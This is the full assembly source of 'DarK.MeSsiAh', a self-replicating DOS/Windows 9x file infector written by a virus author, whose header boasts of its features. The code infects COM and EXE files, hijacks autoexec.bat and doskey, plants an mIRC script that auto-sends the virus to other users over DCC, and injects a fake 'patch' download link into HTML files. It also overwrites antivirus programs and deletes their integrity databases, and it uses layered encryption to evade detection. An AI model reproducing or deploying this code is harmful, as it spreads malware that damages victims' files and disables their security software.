; : ÖÄÄùú : ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· : úùÄÄÄ· : ; ÈÄ : ÈÄÄÄÄÄÄÄÄùú : [~ÅDarK.MeSsiAhÅ~ by SeptiC] : úùÄÄÄÄÄÄļ : ļ ; ù ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ ù ; ù This is my first virus that I release but it ain't my ù ; ù first virus. Frankly This virus isn't very fancy but I'm still ù ; ù kind of proud of it. This because I'm very new in the asm ù ; ú language, and 'cause I have written almost 100% of the code ú ; ú by myself and without stealing other peoples ideas. Just ú ; ú because of this the code is HUGE (4570) so an experienced ú ; coder might faint looking at this source =) The virus is a ; Runtime Com/Exe/"Bat" infector which send itself over Mirc and ; attach itself into Html files. It does also switch drives so ; it will spread fast over network and <-> floppy. For more info ; look at the code. Here comes some nice features. ; ; *- New way of Direct Action infection uses Doskey to ; spread everytime Dir is used. ; *- Directory traversal ' Changes drives and directories ; *- 2 layers of encryption Xor, Rol, Ror, Neg, Not ; *- Infects read Only files and saves time and date ù ; *- Win95 and network compatible : Avoids Pe/ne files ù ; : Avoids Enun files ; ú : Critical error handler (int24h)ú ; ú : Avoids files with Internal ú ; ú : overlay ú ; ú *- Retro ' If some widely used AV products is found they ú ; ù will get overwritten. It does also search for Anti-vir.dat ù ; ù and delets it. ù ; ù *- Antiheuristic ù ; ù *- Spreads over internet ' Mirc and Html ù ;ÖÄùú : :úùÄ· ;: ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ : ;ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄùú ÓÄÄÄÄÄÄÄÄÄÄÄÄÄĽ úùÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· ;: Greetz : Techno Phunk! Flitnic, Urgo, The Lich, Jfk, Simon7, Opic : ;: : ;ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄùú ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· úùÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ .model tiny .radix 16 .code org 100h first_gen: db 0e9,0,0,'V' jmp no_enc start: mov ah,0bh int 21h mov cx,0ffffh fprot_loopy: jmp back mov ax,4c00h int 21h int 20h back: loop fprot_loopy call get_offset call notter mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt jmp inside_com no_enc: call get_offset inside_com: mov cx,4 lea si,[bp+storage_bytes] push 100h pop di rep movsb mov byte ptr [whatami+bp],0 jmp short dark_messiah inside_exe: push es push ds push cs pop ds push cs pop es mov cx,0ffffh sec_loopy: jmp back_Exe mov ax,4c00h int 21h back_Exe: loop sec_loopy call get_offset mov ax,0305h xor bx,bx call int_16 call notter mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt mov cx,8 lea si,[Old_IP+bp] lea di,[Save_IP+bp] rep movsb mov byte ptr [whatami+bp],1 dark_messiah: push ds pop es mov ax,3524h int 21h mov word ptr [bp+oldint24],bx mov word ptr [bp+oldint24+2],es mov ah,25h lea dx,[bp+offset int24] int 21h push cs pop es mov ax,3d02h lea dx, [immune_f+bp] call do_int21h jnc immune lea dx,[dta+bp] call set_dta mov ah, 2ah call do_int21h cmp dl,2 je pay_l1 cmp dl,1 je pay_l2 jmp cont pay_l1: lea dx,[bp+mess_2] jmp payload pay_l2: lea dx,[bp+mess] jmp payload payload: mov ah, 9h int 21h mov cx,2 beep: mov al,7 int 29h loop beep call graph jmp key_press graph: mov dx,03c8h xor ax,ax out dx,al inc dx mov al,03fh out dx,al out dx,al out dx,al mov cx,03eh ffd: dec dx xchg ah,al out dx,al inc dx xchg ah,al out dx,al out dx,al out dx,al dec al call poz call poz loop ffd ret poz: push ax push dx cli mov dx,03dah q1: in al,dx test al,8h jnz q1 q2: in al,dx test al,8h jz q2 sti pop dx pop ax ret key_press: mov ah, 00h int 16h jmp cont immune: lea dx,[bp+immune_msg] mov ah, 9h int 21h jmp immune_End cont: mov ah, 47h lea si, [origdir+1+bp] mov dl, 0000h call do_int21h traverse_loop: mov ah, 4eh mov cx,7 lea dx, [coms+bp] call do_int21h jc no_com found_com: call open_it mov ah, 4fh call do_int21h jnc found_com no_com: Find_exe: mov ah, 4eh mov cx,7 lea dx, [exes+bp] call do_int21h jc no_exe found_exe: call open_it mov ah, 4fh call do_int21h jnc found_exe no_exe: Find_bat: mov ah, 4eh xor cx,cx lea dx, [batches+bp] call do_int21h jc no_batches found_bat: call batch_it mov ah, 4fh call do_int21h jnc found_bat no_batches: Find_html: mov ah, 4eh xor cx,cx lea dx, [html+bp] call do_int21h jc no_html found_html: call html_it mov ah, 4fh call do_int21h jnc found_html no_html: call find_dir call infect_dir call delete_crc call down_one chg_dir: mov ah, 3Bh lea dx, [dot_dot+bp] int 21h jnc traverse_loop call find_dir call infect_dir call delete_crc call find_dir call infect_dir call delete_crc call down_one call down_one chg_1: mov ah,19h int 21h cmp al,00h je Drive_A chg_2: mov ah,19h int 21h cmp al,03h je Drive_D chg_3: mov ah,19h int 21h cmp al,04h je Drive_E chg_4: mov ah,19h int 21h cmp al,05h je Drive_F chg_5: mov ah,19h int 21h cmp al,06h je Drive_G chg_7: mov ah,19h int 21h cmp al,07h je Drive_H chg_8: mov ah,19h int 21h cmp al,02h je cont_Chg jmp cont_chg Drive_A: mov byte ptr [drive+bp],1 mov dl,02h call chg_drive jmp traverse_loop Drive_D: mov byte ptr [drive+bp],2 mov dl,02h call chg_drive jmp traverse_loop Drive_E: mov byte ptr [drive+bp],3 mov dl,02h call chg_drive jmp traverse_loop Drive_F: mov byte ptr [drive+bp],4 mov dl,02h call chg_drive jmp traverse_loop Drive_G: mov byte ptr [drive+bp],5 mov dl,02h call chg_drive jmp traverse_loop Drive_H: mov byte ptr [drive+bp],6 mov dl,02h call chg_drive jmp traverse_loop cont_Chg: mov dl,03h call chg_drive call find_dir call infect_dir call delete_crc mov dl,04h call chg_drive call find_dir call infect_dir call delete_crc mov dl,05h call chg_drive call find_dir call infect_dir call delete_crc mov dl,06h call chg_drive call find_dir call infect_dir call delete_crc mov dl,02h call chg_drive lea dx,[mircdir_1+bp] call change jc n1_mirc call do_mirc jmp mirc_last n1_mirc: lea dx,[mircdir_2+bp] call change jc n2_mirc call do_mirc jmp mirc_last n2_mirc: lea dx,[mircdir_3+bp] call change jc n3_mirc call do_mirc jmp mirc_last n3_mirc: lea dx,[mircdir_4+bp] call change jc n4_mirc call do_mirc jmp mirc_last n4_mirc: lea dx,[mircdir_5+bp] call change jc n5_mirc call do_mirc jmp mirc_last n5_mirc: lea dx,[mircdir_6+bp] call change jc mirc_last call do_mirc mirc_last: lea dx,[windir+bp] call change jnc it_ok lea dx,[winddir+bp] call change jnc it_ok lea dx,[winnew+bp] call change jnc it_ok call make_host jmp no_more it_ok: call make_host mov ah, 4eh mov cx,7 lea dx, [exes+bp] call do_int21h jc no_found got_one: call open_it mov ah, 4fh call do_int21h jnc got_one no_found: mov ah, 4eh mov cx,7 lea dx, [coms+bp] call do_int21h jc non_found got_com: call open_it mov ah, 4fh call do_int21h jnc got_com non_found: jmp no_more html_it: mov ax,3d02h lea dx,[dta+1eh+bp] call do_int21h xchg ax,bx mov ax,4202h mov dx,-15 mov cx,-1 int 21h mov ah,40h mov cx,html_drop lea dx,[html_text+bp] int 21h mov ah,3eh int 21h mov ax,3d02h lea dx, [html_check+bp] call do_int21h jnc ahtml mov ah,3ch xor cx,cx lea dx,[patch+bp] call do_int21h xchg ax,bx mov al,3eh add al,2 xchg ah,al mov cx,hostlen lea dx,[dahost+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h jmp mark_dir ahtml: jmp html_infected mark_dir: mov ah,3ch xor cx,cx lea dx,[html_check+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h html_infected: ret batch_it: mov ax,3d02h lea dx,[dta+1eh+bp] call do_int21h xchg ax,bx mov ax,4202h xor cx,cx xor dx,dx call do_int21h cmp word ptr [dta+1eh+6+bp], 'CE' jz close_it mov ah,40h mov cx,reslen lea dx,[batch+bp] call do_int21h jmp close_it close_it: mov al,3ch add al,2 xchg al,ah call do_int21h ret Make_host: mov ax,3d02h lea dx, [check+bp] call do_int21h jnc ainf mov ah,3ch xor cx,cx lea dx,[host+bp] call do_int21h xchg ax,bx mov al,3eh add al,2 xchg ah,al mov cx,hostlen lea dx,[dahost+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h jmp do_root ainf: jmp infected do_root: lea dx,[root+bp] call change mov ah,3ch xor cx,cx lea dx,[host+bp] call do_int21h xchg ax,bx mov al,3eh add al,2 xchg ah,al mov cx,hostlen lea dx,[dahost+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h mov ah,3ch xor cx,cx lea dx,[check+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h mov ax, 3d02h lea dx,[auto+bp] call do_int21h jc close_auto xchg ax,bx mov ax,4202h xor cx,cx xor dx,dx call do_int21h mov al,3eh add al,2 xchg ah,al mov cx,reslen lea dx,[batch+bp] call do_int21h close_auto: mov al,3ch add al,2 xchg al,ah call do_int21h infected: ret Open_it: cmp byte ptr [generation],10 je all_inf push 4300h pop ax lea dx,[dta+1eh+bp] call do_int21h mov word ptr [bp+file_attr],cx push 4301h pop ax lea dx,[dta+1eh+bp] xor cx,cx call do_int21h cmp word ptr [dta+1eh+1+bp], 'AG' jz close_upz cmp word ptr [dta+1eh+3+bp], 'PN' jz close_upz cmp word ptr [dta+1eh+4+bp], 'WG' jz close_upz cmp word ptr [dta+1eh+bp], 'IM' jz do_mirc cmp word ptr [dta+1eh+bp], '-F' jz retro cmp word ptr [dta+1eh+bp], 'OT' jz retro cmp word ptr [dta+1eh+bp], 'BT' jz retro cmp word ptr [dta+1eh+bp], 'CS' jz retro cmp word ptr [dta+1eh+bp], 'VA' jz retro jmp inf_con do_mirc: call Infect_mirc ret close_upz: ret all_inf: jmp no_more retro: call retro_del ret inf_con: mov ax,3d02h lea dx,[dta+1eh+bp] int 21h jc close_upz xchg bx,ax push 5700h pop ax call do_int21h push cx push dx mov ax,4202h mov dx,-7 mov cx,-1 int 21h mov ah,3f mov cx,7 add ax,cx lea dx,[bad_com+bp] int 21h jc Close_UP cmp word ptr [bad_com+3+bp], 'SN' jz close_up call Go_BOF mov ah,3f mov cx,1a lea dx,[exe_header+bp] int 21 jc Close_UP call Check_Infected jc Close_Up cmp byte ptr [exe_header+bp],'M' jne infect_Com cmp byte ptr [bp+exe_header+1],'Z' jne Infect_Com cmp byte ptr [bp+exe_header+18h],'@' je close_up mov ah,19h int 21h cmp al,00h je inf_A cmp word ptr [dta+1eh+5+bp], 'DN' jz close_up cmp word ptr [bp+exe_header+1ah],0 je Infect_exe jmp close_up inf_a: Infect_Exe: call exe_infection jmp short Close_Up Infect_com: call com_infection Close_Up: pop dx pop cx push 5701h pop ax call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h push 4301h pop ax lea dx,[dta+1eh+bp] mov cx,word ptr [file_attr+bp] call do_int21h ret no_more: mov byte ptr [generation],0 push es pop ds mov ax,2524h lds dx,[bp+offset oldint24] int 21h push cs pop ds cmp byte ptr [drive+bp],1 jne c1 mov dl,00h call chg_drive jmp c_end c1: cmp byte ptr [drive+bp],2 jne c2 mov dl,03h call chg_drive jmp c_end c2: cmp byte ptr [drive+bp],3 jne c3 mov dl,04h call chg_drive jmp c_end c3: cmp byte ptr [drive+bp],4 jne c4 mov dl,05h call chg_drive jmp c_end c4: cmp byte ptr [drive+bp],5 jne c5 mov dl,06h call chg_drive jmp c_end c5: cmp byte ptr [drive+bp],6 jne c_end mov dl,07h call chg_drive jmp c_end c_end: lea si, [origdir+bp] mov byte ptr [si], '\' mov ah, 3Bh xchg dx, si call do_int21h immune_end: cmp byte ptr [whatami+bp],1 je Restore_EXE Restore_COM: push 80h pop dx call set_dta push 100h pop di push di ret Restore_EXE: pop es push es pop ds push 80h pop dx call set_dta mov ax,es add ax,10 add word ptr cs:[Save_CS+bp],ax add ax,word ptr cs:[Save_SS+bp] cli mov ss,ax mov sp,word ptr cs:[Save_SP+bp] sti db 0ea ;Far jump to CS:IP Save_IP dw 0 Save_CS dw 0 Save_SS dw 0 Save_SP dw 0 Old_IP dw 0 Old_CS dw 0fff0 Old_SS dw 0fff0 Old_SP dw 0 set_dta: mov ah,1ah int 21h ret Infect_mirc: mov ah,41h lea dx,[bp+dmscript] int 21h mov ah,3ch lea dx,[bp+dmscript] xor cx,cx int 21h xchg bx,ax mov ah,40h mov cx,EO_script lea dx,[BO_script+bp] int 21h mov ah,3eh int 21h ret Get_offset: call next next: mov di,sp mov sp,di mov di,sp mov bp, word ptr ss:[di] sub bp, offset next inc sp inc sp ret com_infection: mov cx,4 lea di,[storage_bytes+bp] lea si,[exe_header+bp] rep movsb call Go_EOF sub ax,3 mov word ptr [jump_bytes+1+bp],ax call Go_BOF mov al,3eh add al,2 xchg ah,al lea dx,[jump_bytes+bp] mov cx,4 int 21h call Go_EOF mov ah,2ch int 21h mov word ptr ds:[encrypt_val],dx mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt call notter call write_virus call notter mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt inc byte ptr [generation+bp] ret exe_infection: call Save_Old_Header call Go_EOF push ax dx call calculate_CSIP pop dx ax call calculate_size mov ah,2ch int 21h mov word ptr ds:[encrypt_val],dx mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt call notter call write_virus call notter mov dx,word ptr ds:[bp+encrypt_val] call xor_crypt call Go_BOF mov al,3eh add al,2 xchg ah,al mov cx,1a lea dx,[exe_header+bp] int 21 inc byte ptr [generation+bp] ret Go_EOF: mov ax,4202 jmp Move_FP Go_BOF: mov ax,4200 Move_FP: xor cx,cx xor dx,dx int 21 ret Write_Virus: mov al,3eh add al,2 xchg ah,al mov cx,end_messiah-start lea dx,[bp+start] int 21 ret int24: mov al,3 iret encrypt_start: Save_Old_Header: mov ax,word ptr [exe_header+bp+0e] mov word ptr [Old_SS+bp],ax mov ax,word ptr [exe_header+bp+10] mov word ptr [Old_SP+bp],ax mov ax,word ptr [exe_header+bp+14] mov word ptr [Old_IP+bp],ax mov ax,word ptr [exe_header+bp+16] mov word ptr [Old_CS+bp],ax ret do_int21h: int 21h ret change: mov ah,3bh int 21h ret calculate_CSIP: push ax mov ax,word ptr [exe_header+bp+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0c shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax add cx,inside_exe-start mov word ptr [exe_header+bp+14],cx mov word ptr [exe_header+bp+16],dx mov word ptr [exe_header+bp+0e],dx mov word ptr [exe_header+bp+10],0fffe mov byte ptr [exe_header+bp+12],'V' ret calculate_size: push ax add ax,end_messiah-start adc dx,0 mov cl,7 shl dx,cl mov cl,9 shr ax,cl add ax,dx inc ax mov word ptr [exe_header+bp+04],ax pop ax mov dx,ax shr ax,cl shl ax,cl sub dx,ax mov word ptr [exe_header+bp+02],dx ret delete_crc proc near push 4300h pop ax add al,01h xor cx,cx call do_int21h mov al,3eh add al,3 xchg ah,al lea dx,[tbav_crc+bp] call do_int21h ret delete_crc endp tbav_crc db 'anti-vir.dat',00h chg_drive: mov ah,0eh int 21h ret Check_Infected: cmp byte ptr [exe_header+bp+3],'V' je Is_Infected cmp byte ptr [exe_header+bp+12],'V' je Is_Infected clc ret Is_Infected: stc ret down_one: mov ah, 3Bh lea dx, [dot_dot+bp] int 21h ret find_dir: mov byte ptr [bp+dir_cnt],0 mov cx,13h lea dx,[bp+dirs] mov ah,4eh int 21h jc no_dir dir_found: cmp byte ptr [bp+dir_cnt],1 je no_dir call chdir cmp byte ptr [bp+dot_cnt],1 je find_new call infect_dir jmp dir_found find_new: mov byte ptr [bp+dot_cnt],0 mov ah,4fh int 21h jnc dir_found no_dir: mov byte ptr [bp+dir_cnt],0 mov byte ptr [bp+dot_cnt],0 ret chdir: cmp word ptr [dta+1eh+bp], '..' jz new_dir cmp byte ptr [dta+1eh+bp], '.' jz new_dir lea dx,[dta+1eh+bp] mov ah,3bh int 21h inc byte ptr [bp+dir_cnt] jmp no_dot new_dir: inc byte ptr [bp+dot_cnt] no_dot: ret infect_dir: mov ah, 4eh mov cx,7 lea dx, [exes+bp] call do_int21h jc no_exes_found one_found: call open_it mov ah, 4fh call do_int21h jnc one_found no_exes_found: mov ah, 4eh mov cx,7 lea dx, [coms+bp] call do_int21h jc no_coms_found one_com: call open_it mov ah, 4fh call do_int21h jnc one_com no_coms_found: ret retro_del: mov ah,3ch xor cx,cx lea dx,[dta+1eh+bp] call do_int21h xchg ax,bx mov al,3eh add al,2 xchg ah,al mov cx,retro_end-retro_start lea dx,[retro_start+bp] call do_int21h mov al,3ch add al,2 xchg al,ah call do_int21h ret mess_2 db'Pure evil comes from within! ~ÅDarK.MeSsiAhÅ~ Written by SeptiC [TI] $',0dh,0ah mess db 'Only in your dreams you can be truly free! ~ÅDarK.MeSsiAhÅ~ written by SeptiC [TI] $',0dh,0ah Immune_Msg db 'You are protected by a devine power ~ÅDarK.MeSsiAhÅ~ will not touch your files$',0dh,0ah batch db ' ',0dh,0ah db '@echo off',0 db ' ',0dh,0ah db 'attrib +r +h c:\porno.com',0 db ' ',0dh,0ah db 'doskey dir=porno$tdir $*>nul',0 last db ' ',0dh,0ah reslen equ last-batch BO_script db '[script]',0 db ' ',0dh,0ah db 'n0=on 1:TEXT:*666*:#:/topic # ~ÅDarK.MeSsiAhÅ~ a Digital Touch of DarKness! Written by SeptiC [TI]',0 db ' ',0dh,0ah db 'n1=on 1:TEXT:*pray*:#:/mode $chan +o $nick',0 db ' ',0dh,0ah db 'n2=on 1:TEXT:*sacrifice*:#:/kick $chan $me Your word is my command, Power to satan!',0 db ' ',0dh,0ah db 'n3=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0 db ' ',0dh,0ah db 'n4=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0 db ' ',0dh,0ah db 'n5=on 1:CONNECT: {',0 db ' ',0dh,0ah db 'n6= /msg SeptiC_dm I am your servant! I have been turned into a zealot of darkness',0 db ' ',0dh,0ah db 'n8=}',0 Last_line db ' ',0dh,0ah EO_script equ last_line-BO_script html_text db '',0 db ' ',0dh,0ah db '',0 db ' ',0dh,0ah db '

Download',0 db ' ',0dh,0ah db 'The',0 db ' ',0dh,0ah db 'Latest',0 db ' ',0dh,0ah db 'Patch!',0 db ' ',0dh,0ah db '

Click Here!

',0 db ' ',0dh,0ah db '',0 db ' ',0dh,0ah db '',0 Last_html db ' ',0dh,0ah html_drop equ last_html-html_text dmscript db 'script.ini',0 Exes db '*.EXE',0 Coms db '*.COM',0 jump_bytes db 0e9,0,0,'V' storage_bytes: nop nop int 20 check db 'C:\messiah.nfo',0 html_check db 'patch.nfo',0 immune_f db 'C:\_vac.txt',0 host db 'porno.com',0 patch db 'patch.com',0 dahost db '¹ÿÿë¸ LÍ!â÷PX3À3ɸ LÍ!',0 hostlen equ $-dahost retro_start: call delta delta: pop bp sub bp,offset delta mov ah,9h lea dx,[bp+offset msg] int 21h mov ax,4c00h int 21h msg db '~ÅDarK.MeSsiAhÅ~ a Digital Touch of DarKness! Written by SeptiC [TI]$',0 retro_end: auto db 'C:\autoexec.bat',0 root db 'C:\',0 windir db 'C:\windows\command',0 winddir db 'C:\win95\command',0 winnew db 'C:\win98\command',0 mircdir_1 db 'C:\program\mirc',0 mircdir_2 db 'C:\program\mirc32',0 mircdir_3 db 'C:\mirc',0 mircdir_4 db 'C:\mirc32',0 mircdir_5 db 'C:\progra~1\mirc',0 mircdir_6 db 'C:\progra~1\mirc32',0 batches db '*.bat',0 html db '*.html',0 dirs db '*',0 dir_cnt db 0 dot_cnt db 0 dot_dot db '..',0 whatami db 0 encrypt_end: encrypt_val dw 0 not_start: xor_crypt: lea di,[bp+encrypt_start] mov si,di mov cx,(encrypt_end-encrypt_start)/2 jmp xor_loop mov ax,4c00h int 21h xor_loop: xor word ptr ds:[si],dx inc si inc si loop xor_loop ret not_end: notter: cld xor cx,cx mov cx,OFFSET not_End-offset encrypt_start push ax pop ax lea si,[encrypt_start+bp] mov di,si mov si,di mov di,si not_looper: lodsb xor al,1ah neg al ror al,4 xor al,9eh not al xor al,9eh ror al,4 neg al xor al,1ah stosb nop loop not_looper ret int_16: int 16h ret end_messiah: OldInt24 dd ? generation db 0 file_attr dw ? origdir db 65 dup (?) exe_header db 1a dup(?) bad_com db 7 dup(?) drive db 0 DTA: end first_gen